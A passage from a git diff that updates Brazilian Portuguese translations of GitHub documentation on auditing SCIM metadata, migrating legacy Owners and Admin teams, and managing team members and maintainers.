+Ao encontrar problemas de provisionamento com os usuários, recomendamos que verifique se os usuários não têm metadados de SCIM. Se um integrante da organização não tiver metadados do SCIM, você poderá provisionar o SCIM novamente para o usuário manualmente por meio do seu IdP.
 
-### Auditing users for missing SCIM metadata
+### Auditoria de usuários com relação à falta de metadados do SCIM
 
-If you suspect or notice that any users are not provisioned or deprovisioned as expected, we recommend that you audit all users in your organization.
+Se você suspeitar ou notar que os usuários não foram provisionados ou desprovisionados, recomendamos que você faça uma auditoria de todos os usuários da sua organização.
 
-To check whether users have a SCIM identity (SCIM metadata) in their external identity, you can review SCIM metadata for one organization member at a time on {% data variables.product.prodname_dotcom %} or you can programatically check all organization members using the {% data variables.product.prodname_dotcom %} API.
+Para verificar se os usuários têm uma identidade do SCIM (metadados do SCIM) na sua identidade externa, você poderá revisar os metadados do SCIM para um integrante da organização por vez em {% data variables.product.prodname_dotcom %} ou você pode verificar programaticamente todos os integrantes da organização que usam a API de {% data variables.product.prodname_dotcom %}.
 
-#### Auditing organization members on {% data variables.product.prodname_dotcom %}
+#### Fazendo a auditoria dos integrantes da organização em {% data variables.product.prodname_dotcom %}
 
-As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `<organization>` and `<username>`: 
+Como proprietário da organização, para confirmar que os metadados do SCIM existem para um único integrante da organização, acesse esta URL, substituindo `<organization>` e `<username>`:
 
 > `https://github.com/orgs/<organization>/people/<username>/sso`
 
-If the user's external identity includes SCIM metadata, the organization owner should see a SCIM identity section on that page. If their external identity does not include any SCIM metadata, the SCIM Identity section will not exist.
+Se a identidade externa do usuário incluir metadados do SCIM, o proprietário da organização deverá ver uma seção de identidade do SCIM nessa página. Se sua identidade externa não incluir nenhum metadado do SCIM, a seção de Identidade SCIM não existirá.
 
-#### Auditing organization members through the {% data variables.product.prodname_dotcom %} API
+#### Auditando integrantes da organização por meio da API de {% data variables.product.prodname_dotcom %}
 
-As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. 
+Como proprietário da organização, você também pode consultar a API REST do SCIM ou do GraphQL para listar todas as identidades provisionadas do SCIM em uma organização.
 
-#### Using the REST API
+#### Usando a API REST
 
-The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members.
+A API REST do SCIM só retornará dados para usuários que tenham metadados do SCIM preenchidos nas suas identidades externas. Recomendamos que você compare uma lista de identidades fornecidas pelo SCIM com uma lista de todos os integrantes da sua organização.
 
-For more information, see:
-  - "[List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)"
-  - "[List organization members](/rest/reference/orgs#list-organization-members)"
+Para obter mais informações, consulte:
+  - "[Lista de identidades provisionadas do SCIM](/rest/reference/scim#list-scim-provisioned-identities)"
+  - "[Listar integrantes da organização](/rest/reference/orgs#list-organization-members)"
 
-#### Using GraphQL
+#### Usando o GraphQL
 
-This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. 
+Esta consulta do GraphQL mostra o `NameId` do SAML, o `UserName` d SCIM e o nome de usuário de {% data variables.product.prodname_dotcom %} (``de login) para cada usuário da organização. Para usar esta consulta, substitua `ORG` pelo nome da sua organização.
 
 ```graphql
 {
@@ -72,14 +72,14 @@ This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% d
 curl -X POST -H "Authorization: Bearer <personal access token>" -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username}  user { login } } } } } } }" }'  https://api.github.com/graphql
 ```
 
-For more information on using the GraphQL API, see: 
-   - "[GraphQL guides](/graphql/guides)"
-   - "[GraphQL explorer](/graphql/overview/explorer)"
+Para obter mais informações sobre o uso da API do GraphQL, consulte:
+   - "[guias do GraphQL](/graphql/guides)"
+   - "[Explorador do GraphQL](/graphql/overview/explorer)"
 
-### Re-provisioning SCIM for users through your identity provider
+### Reprovisionando o SCIM para os usuários por meio do seu provedor de identidade
 
-You can re-provision SCIM for users manually through your IdP. For example, to resolve provisioning errors, in the Okta admin portal, you can unassign and reassign users to the {% data variables.product.prodname_dotcom %} app. This should trigger Okta to make an API call to populate the SCIM metadata for these users on {% data variables.product.prodname_dotcom %}. For more information, see "[Unassign users from applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm)" or "[Assign users to applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm)" in the Okta documentation.
+Você pode provisionar o SCIM novamente para os usuários manualmente por meio do seu IdP. Por exemplo, para resolver erros de provisionamento, no portal de administração do Okta, você pode desatribuir e reatribuir os usuários para o aplicativo de {% data variables.product.prodname_dotcom %}. Isto deve acionar o Okta para fazer uma chamada da API para preencher os metadados do SCIM para esses usuários em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Desatribuir usuários de aplicativos](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm)" ou "[Atribuir usuários aos aplicativos](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm)" na documentação do Okta.
 
-To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see "[Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata)" or the REST API endpoint "[Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)."
+Para confirmar que a identidade do SCIM de um usuário foi criada. Recomendamos testar este processo com um único integrante de uma organização que você tenha confirmado que não tem uma identidade externa do SCIM. Depois de atualizar manualmente os usuários do seu IdP, você poderá verificar se a identidade SCIM do usuário foi criada usando a API SCIM ou em {% data variables.product.prodname_dotcom %}. Para mais informações consulte "[Usuários de auditoria por falta de metadados SCIM](#auditing-users-for-missing-scim-metadata)" ou o ponto de extremidade da API REST "[Obtenha informações de provisionamento do SCIM para um usuário](/rest/reference/scim#get-scim-provisioning-information-for-a-user)."
 
-If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support.
\ No newline at end of file
+Se o novo provisionamento do SCIM para os usuários não ajudar, entre em contato com o suporte de {% data variables.product.prodname_dotcom %}.
diff --git a/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md b/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
index 02f92675b7..03a9781091 100644
--- a/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
+++ b/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an admin team to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+title: Migrar uma equipe de administradores para permissões de organização aprimoradas
+intro: 'Se sua organização foi criada depois de setembro de 2015, tem permissões de organização aprimoradas por padrão. Organizações criadas antes de setembro de 2015 podem precisar migrar proprietários e equipes de administradores antigos para o modelo de permissões aprimoradas. Integrantes de equipes de administradores legadas mantêm automaticamente a capacidade de criar repositórios até que as equipes sejam migradas para o modelo de permissões de organização aprimoradas.'
 redirect_from:
   - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions
   - /articles/converting-an-admin-team-to-improved-organization-permissions
@@ -12,23 +12,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert admin team
+shortTitle: Converter equipe de administração
 ---
 
-You can remove the ability for members of legacy admin teams to create repositories by creating a new team for these members, ensuring that the team has necessary access to the organization's repositories, then deleting the legacy admin team.
+Você pode impedir os integrantes das equipes de administradores legadas de criar repositórios criando uma equipe para esses integrantes, garantindo que a equipe tenha acesso necessário aos repositórios da organização e, em seguida, excluindo a equipe de administradores legada.
 
-For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 {% warning %}
 
-**Warnings:**
-- If there are members of your legacy Admin team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories.
-- To prevent the loss of private forks made by members of the legacy Admin team, you must follow steps 1-3 below before deleting the legacy Admin team.
-- Because "admin" is a term for organization members with specific [access to certain repositories](/articles/repository-permission-levels-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on.
+**Avisos:**
+- Se houver integrantes da equipe de administradores legada que não sejam integrantes de outras equipes, excluir a equipe removerá esses integrantes da organização. Antes de excluir a equipe, certifique-se de que os integrantes já sejam integrantes diretos da organização ou que tenham acesso de colaborador aos repositórios necessários.
+- Para evitar a perda de bifurcações privadas feitas pelos integrantes da equipe de administradores legada, você deve seguir as etapas de 1 a 3 abaixo antes de excluir a equipe de administradores legada.
+- Como "administrador" é um termo para integrantes da organização com [acesso específico a determinados repositórios](/articles/repository-permission-levels-for-an-organization) na organização, é recomendável evitar esse termo em nomes de equipe sobre os quais você decide.
 
 {% endwarning %}
 
-1. [Create a new team](/articles/creating-a-team).
-2. [Add each of the members](/articles/adding-organization-members-to-a-team) of your legacy admin team to the new team.
-3. [Give the new team equivalent access](/articles/managing-team-access-to-an-organization-repository) to each of the repositories the legacy team could access.
-4. [Delete the legacy admin team](/articles/deleting-a-team).
+1. [Crie uma equipe](/articles/creating-a-team).
+2. [Adicione cada um dos integrantes](/articles/adding-organization-members-to-a-team) da sua equipe de administradores legada à nova equipe.
+3. [Dê à nova equipe acesso equivalente](/articles/managing-team-access-to-an-organization-repository) a cada um dos repositórios que a equipe legada podia acessar.
+4. [Exclua a equipe de administradores legada](/articles/deleting-a-team).
diff --git a/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md b/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
index 2d483eed91..c13182333c 100644
--- a/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
+++ b/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an Owners team to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. The "Owner" is now an administrative role given to individual members of your organization. Members of your legacy Owners team are automatically given owner privileges.'
+title: Migrar uma equipe de proprietários para permissões de organização aprimoradas
+intro: 'Se sua organização foi criada depois de setembro de 2015, tem permissões de organização aprimoradas por padrão. Organizações criadas antes de setembro de 2015 podem precisar migrar proprietários e equipes de administradores antigos para o modelo de permissões aprimoradas. O "proprietário" é agora uma função administrativa fornecida a integrantes individuais da sua organização. Os integrantes da equipe de proprietários legada recebem automaticamente privilégios de proprietário.'
 redirect_from:
   - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions-early-access-program
   - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions
@@ -13,19 +13,19 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert Owners team
+shortTitle: Converter equipe de proprietários
 ---
 
-You have a few options to convert your legacy Owners team:
+Você tem algumas opções para converter sua equipe de proprietários legada:
 
-- Give the team a new name that denotes the members have a special status in the organization.
-- Delete the team after ensuring all members have been added to teams that grant necessary access to the organization's repositories.
+- Dê à organização um novo nome que denote que os integrantes têm um status especial na organização.
+- Exclua a equipe após garantir que todos os integrantes foram adicionados às equipes que concedem acesso necessário aos repositórios da organização.
 
-## Give the Owners team a new name
+## Dar à equipe de proprietários um novo nome
 
 {% tip %}
 
-   **Note:** Because "admin" is a term for organization members with specific [access to certain repositories](/articles/repository-permission-levels-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on.
+   **Observação:** como "administrador" é um termo para integrantes da organização com [acesso específico a determinados repositórios](/articles/repository-permission-levels-for-an-organization) na organização, é recomendável evitar esse termo em nomes de equipe sobre os quais você decide.
 
 {% endtip %}
 
@@ -33,19 +33,17 @@ You have a few options to convert your legacy Owners team:
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.owners-team %}
 {% data reusables.organizations.convert-owners-team-confirm %}
-5. In the team name field, choose a new name for the Owners team. For example:
-    - If very few members of your organization were members of the Owners team, you might name the team "Core".
-    - If all members of your organization were members of the Owners team so that they could [@mention teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), you might name the team "Employees".
-  ![The team name field, with the Owners team renamed to Core](/assets/images/help/teams/owners-team-new-name.png)
-6. Under the team description, click **Save and continue**.
-![The Save and continue button](/assets/images/help/teams/owners-team-save-and-continue.png)
-7. Optionally, [make the team *public*](/articles/changing-team-visibility).
+5. No campo de nome da equipe, escolha um novo nome para a equipe de proprietários. Por exemplo:
+    - Se apenas alguns integrantes da organização forem integrantes da equipe de proprietários, você poderá dar à equipe o nome de "Principal".
+    - Se todos os integrantes da organização forem integrantes da equipe de proprietários, de modo que eles podem [@mencionar equipes](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), você pode dar à equipe o nome de "Funcionários". ![O campo de nome da equipe, com a equipe de proprietários renomeada para Principal](/assets/images/help/teams/owners-team-new-name.png)
+6. Abaixo da descrição da equipe, clique em **Save and continue** (Salvar e continuar). ![O botão Save and continue (Salvar e continuar)](/assets/images/help/teams/owners-team-save-and-continue.png)
+7. Como opção, [torne a equipe *pública*](/articles/changing-team-visibility).
 
-## Delete the legacy Owners team
+## Excluir a equipe de proprietários legada
 
 {% warning %}
 
-**Warning:** If there are members of your Owners team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories.
+**Aviso:** se houver integrantes da equipe de proprietários que não sejam integrantes de outras equipes, excluir a equipe removerá esses integrantes da organização. Antes de excluir a equipe, certifique-se de que os integrantes já sejam integrantes diretos da organização ou que tenham acesso de colaborador aos repositórios necessários.
 
 {% endwarning %}
 
@@ -53,5 +51,4 @@ You have a few options to convert your legacy Owners team:
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.owners-team %}
 {% data reusables.organizations.convert-owners-team-confirm %}
-5. At the bottom of the page, review the warning and click **Delete the Owners team**.
-  ![Link for deleting the Owners team](/assets/images/help/teams/owners-team-delete.png)
+5. Na parte inferior da página, revise o aviso e clique em **Delete the Owners team** (Excluir a equipe de proprietários). ![Link para excluir a equipe de proprietários](/assets/images/help/teams/owners-team-delete.png)
diff --git a/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/index.md b/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/index.md
index 510cc6c4d7..b3de1a4b8c 100644
--- a/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/index.md
+++ b/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization includes improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved organization permissions model.'
+title: Migrar para permissões de organização aprimoradas
+intro: 'Se sua organização foi criada depois de setembro de 2015, tem permissões de organização aprimoradas por padrão. Organizações criadas antes de setembro de 2015 podem precisar migrar proprietários e equipes de administradores antigos para o modelo de permissões de organização aprimoradas.'
 redirect_from:
   - /articles/improved-organization-permissions
   - /articles/github-direct-organization-membership-pre-release-guide
@@ -18,6 +18,6 @@ children:
   - /converting-an-owners-team-to-improved-organization-permissions
   - /converting-an-admin-team-to-improved-organization-permissions
   - /migrating-admin-teams-to-improved-organization-permissions
-shortTitle: Migrate to improved permissions
+shortTitle: Migrar para permissões melhoradas
 ---
 
diff --git a/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md b/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
index e5965cfefd..d785a112e9 100644
--- a/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
+++ b/translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating admin teams to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+title: Migrar uma equipe de administradores para permissões de organização aprimoradas
+intro: 'Se sua organização foi criada depois de setembro de 2015, tem permissões de organização aprimoradas por padrão. Organizações criadas antes de setembro de 2015 podem precisar migrar proprietários e equipes de administradores antigos para o modelo de permissões aprimoradas. Integrantes de equipes de administradores legadas mantêm automaticamente a capacidade de criar repositórios até que as equipes sejam migradas para o modelo de permissões de organização aprimoradas.'
 redirect_from:
   - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions
   - /articles/migrating-admin-teams-to-improved-organization-permissions
@@ -12,37 +12,34 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Migrate admin team
+shortTitle: Migrar equipe de administração
 ---
 
-By default, all organization members can create repositories. If you restrict [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) to organization owners, and your organization was created under the legacy organization permissions structure, members of legacy admin teams will still be able to create repositories.
+Por padrão, todos os integrantes da organização podem criar repositórios. Se você restringir [as permissões de criação de repositórios](/articles/restricting-repository-creation-in-your-organization) para proprietários de organizações e sua organização foi criada sob a estrutura de permissões de organização legadas, os integrantes das equipes de administradores legadas ainda conseguirão criar repositórios.
 
-Legacy admin teams are teams that were created with the admin permission level under the legacy organization permissions structure. Members of these teams were able to create repositories for the organization, and we've preserved this ability in the improved organization permissions structure.
+Equipes de administradores legadas são equipes que foram criadas com o nível de permissão de administrador na estrutura de permissões de organização legadas. Integrantes dessas equipes conseguiam criar repositórios para a organização, e essa capacidade foi preservada na estrutura de permissões de organização aprimoradas.
 
-You can remove this ability by migrating your legacy admin teams to the improved organization permissions.
+Você pode remover essa capacidade migrando suas equipes de administradores legadas para as permissões de organização aprimoradas.
 
-For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 {% warning %}
 
-**Warning:** If your organization has disabled [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) for all members, some members of legacy admin teams may lose repository creation permissions. If your organization has enabled member repository creation, migrating legacy admin teams to improved organization permissions will not affect team members' ability to create repositories.
+**Aviso:** se sua organização desabilitou [as permissões de criação de repositórios](/articles/restricting-repository-creation-in-your-organization) para todos os integrantes, alguns integrantes de equipes de administradores legadas podem perder as permissões de criação de repositórios. Se a organização habilitou a criação de repositórios pelos integrantes, migrar as equipes de administradores legadas para permissões de organização aprimoradas não afetará a capacidade de criação de repositórios pelos integrantes de equipes.
 
 {% endwarning %}
 
-## Migrating all of your organization's legacy admin teams
+## Migrar todas as equipes de administradores legadas da organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.teams_sidebar %}
-1. Review your organization's legacy admin teams, then click **Migrate all teams**.
-  ![Migrate all teams button](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
-1. Read the information about possible permissions changes for members of these teams, then click **Migrate all teams.**
-  ![Confirm migration button](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
+1. Revise as equipes de administradores legadas da organização e clique em **Migrate all teams** (Migrar todas as equipes). ![Botão Migrate all teams (Migrar todas as equipes)](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
+1. Leia as informações sobre possíveis alterações de permissões para integrantes dessas equipes e clique em **Migrate all teams** (Migrar todas as equipes). ![Botão Confirm migration (Confirmar migração)](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
 
-## Migrating a single admin team
+## Migrar uma única equipe de administradores
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
-1. In the team description box, click **Migrate team**.
-  ![Migrate team button](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
+1. Na caixa de descrição de equipe, clique em **Migrate team** (Migrar equipe). ![Botão Migrate team (Migrar equipe)](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
index a6dac889cb..acaeddf1a5 100644
--- a/translations/pt-BR/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
+++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Adding organization members to a team
-intro: 'People with owner or team maintainer permissions can add organization members to teams. People with owner permissions can also {% ifversion fpt or ghec %}invite non-members to join{% else %}add non-members to{% endif %} a team and the organization.'
+title: Adicionar integrantes da organização a uma equipe
+intro: 'As pessoas com permissões de proprietário ou mantenedor de equipe podem adicionar integrantes da organização às equipes. As pessoas com permissões de proprietário também podem {% ifversion fpt or ghec %}convidar não integrantes para ingressar em{% else %}adicionar não integrantes a{% endif %} uma equipe e na organização.'
 redirect_from:
   - /articles/adding-organization-members-to-a-team-early-access-program
   - /articles/adding-organization-members-to-a-team
@@ -13,7 +13,7 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Add members to a team
+shortTitle: Adicionar integrantes a uma equipe
 ---
 
 {% data reusables.organizations.team-synchronization %}
@@ -22,14 +22,13 @@ shortTitle: Add members to a team
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_members_tab %}
-6. Above the list of team members, click **Add a member**.
-![Add member button](/assets/images/help/teams/add-member-button.png)
+6. Acima da lista de integrantes da equipe, clique em **Adicionar um integrante**. ![Botão Add member (Adicionar integrante)](/assets/images/help/teams/add-member-button.png)
 {% data reusables.organizations.invite_to_team %}
 {% data reusables.organizations.review-team-repository-access %}
 
 {% ifversion fpt or ghec %}{% data reusables.organizations.cancel_org_invite %}{% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About teams](/articles/about-teams)"
-- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)"
+- "[Sobre equipes](/articles/about-teams)"
+- "[Gerenciar o acesso da equipe a um repositório da organização](/articles/managing-team-access-to-an-organization-repository)"
diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
index 457c1d5b7f..589de86b7c 100644
--- a/translations/pt-BR/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
+++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
@@ -1,6 +1,6 @@
 ---
-title: Assigning the team maintainer role to a team member
-intro: 'You can give a team member the ability to manage team membership and settings by assigning the team maintainer role.'
+title: Atribuindo a função de mantenedor da equipe a um integrante da equipe
+intro: 'Você pode conceder a um integrante da equipe a capacidade de gerenciar a associação e as configurações da equipe, atribuindo a função de mantenedor da equipe.'
 redirect_from:
   - /articles/giving-team-maintainer-permissions-to-an-organization-member-early-access-program
   - /articles/giving-team-maintainer-permissions-to-an-organization-member
@@ -14,39 +14,36 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Team maintainers
+shortTitle: Mantenedores da equipe
 permissions: Organization owners can promote team members to team maintainers.
 ---
 
-## About team maintainers
+## Sobre os mantenedores da equipe
 
-People with the team maintainer role can manage team membership and settings.
+As pessoas com o papel de mantenedor da equipe podem gerenciar as configurações e os integrantes da equipe.
 
-- [Change the team's name and description](/articles/renaming-a-team)
-- [Change the team's visibility](/articles/changing-team-visibility)
-- [Request to add a child team](/articles/requesting-to-add-a-child-team)
-- [Request to add or change a parent team](/articles/requesting-to-add-or-change-a-parent-team)
-- [Set the team profile picture](/articles/setting-your-team-s-profile-picture)
-- [Edit team discussions](/articles/managing-disruptive-comments/#editing-a-comment)
-- [Delete team discussions](/articles/managing-disruptive-comments/#deleting-a-comment)
-- [Add organization members to the team](/articles/adding-organization-members-to-a-team)
-- [Remove organization members from the team](/articles/removing-organization-members-from-a-team)
-- Remove the team's access to repositories{% ifversion fpt or ghes or ghae or ghec %}
-- [Manage code review assignment for the team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team){% endif %}{% ifversion fpt or ghec %}
-- [Manage scheduled reminders for pull requests](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %}
+- [Alterar o nome e a descrição da equipe](/articles/renaming-a-team)
+- [Alterar a visibilidade da equipe](/articles/changing-team-visibility)
+- [Pedir para adicionar uma equipe secundária](/articles/requesting-to-add-a-child-team)
+- [Solicitar a adição ou alteração de uma equipe principal](/articles/requesting-to-add-or-change-a-parent-team)
+- [Definir a imagem de perfil da equipe](/articles/setting-your-team-s-profile-picture)
+- [Editar discussões de equipe](/articles/managing-disruptive-comments/#editing-a-comment)
+- [Excluir discussões de equipe](/articles/managing-disruptive-comments/#deleting-a-comment)
+- [Adicionar integrantes da organização à equipe](/articles/adding-organization-members-to-a-team)
+- [Remover membros da organização da equipe](/articles/removing-organization-members-from-a-team)
+- Remover acesso da equipe aos repositórios{% ifversion fpt or ghes or ghae or ghec %}
+- [Gerenciar atribuição de código para a equipe](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team){% endif %}{% ifversion fpt or ghec %}
+- [Gerenciar lembretes agendados para pull requests](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %}
 
 
-## Promoting an organization member to team maintainer
+## Promover um integrante de organização a mantenedor de equipe
 
-Before you can promote an organization member to team maintainer, the person must already be a member of the team.
+Antes de poder promover um integrante da organização para chefe de uma equipe, a pessoa deverá ser integrante da equipe.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_members_tab %}
-4. Select the person or people you'd like to promote to team maintainer.
-![Check box next to organization member](/assets/images/help/teams/team-member-check-box.png)
-5. Above the list of team members, use the drop-down menu and click **Change role...**.
-![Drop-down menu with option to change role](/assets/images/help/teams/bulk-edit-drop-down.png)
-6. Select a new role and click **Change role**.
-![Radio buttons for Maintainer or Member roles](/assets/images/help/teams/team-role-modal.png)
+4. Selecione a pessoa que você gostaria de promover a mantenedor de equipe. ![Caixa de seleção ao lado de integrante de organização](/assets/images/help/teams/team-member-check-box.png)
+5. Acesse o menu suspenso que está acima da lista de integrantes da equipe e clique em **Change role...** (Alterar função). ![Menu suspenso com opção change role (alterar função)](/assets/images/help/teams/bulk-edit-drop-down.png)
+6. Selecione uma nova função e clique em **Change role** (Alterar função). ![Botão de rádio para funções de Mantendor ou Integrante](/assets/images/help/teams/team-role-modal.png)
diff --git a/translations/pt-BR/content/organizations/organizing-members-into-teams/creating-a-team.md b/translations/pt-BR/content/organizations/organizing-members-into-teams/creating-a-team.md
index 7422a82371..e5b91399d1 100644
--- a/translations/pt-BR/content/organizations/organizing-members-into-teams/creating-a-team.md
+++ b/translations/pt-BR/content/organizations/organizing-members-into-teams/creating-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a team
-intro: You can create independent or nested teams to manage repository permissions and mentions for groups of people.
+title: Criar equipes
+intro: Você pode criar equipes independentes ou aninhadas para gerenciar permissões de repositório e menções para grupos de pessoas.
 redirect_from:
   - /articles/creating-a-team-early-access-program
   - /articles/creating-a-team
@@ -15,7 +15,7 @@ topics:
   - Teams
 ---
 
-Only organization owners and maintainers of a parent team can create a new child team under a parent. Owners can also restrict creation permissions for all teams in an organization. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)."
+Apenas os proprietários e mantenedores de uma equipe principal podem criar uma nova equipe secundária sob a principal. Os proprietários também podem restringir as permissões de criação para todas as equipes em uma organização. Para obter mais informações, consulte "[Configurar permissões de criação de equipes na organização](/articles/setting-team-creation-permissions-in-your-organization)".
 
 {% data reusables.organizations.team-synchronization %}
 
@@ -26,17 +26,16 @@ Only organization owners and maintainers of a parent team can create a new child
 {% data reusables.organizations.team_description %}
 {% data reusables.organizations.create-team-choose-parent %}
 {% ifversion ghec %}
-1. Optionally, if your organization or enterprise account uses team synchronization or your enterprise uses {% data variables.product.prodname_emus %}, connect an identity provider group to your team.
-    * If your enterprise uses {% data variables.product.prodname_emus %}, use the "Identity Provider Groups" drop-down menu, and select a single identity provider group to connect to the new team. For more information, "[Managing team memberships with identity provider groups](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)."
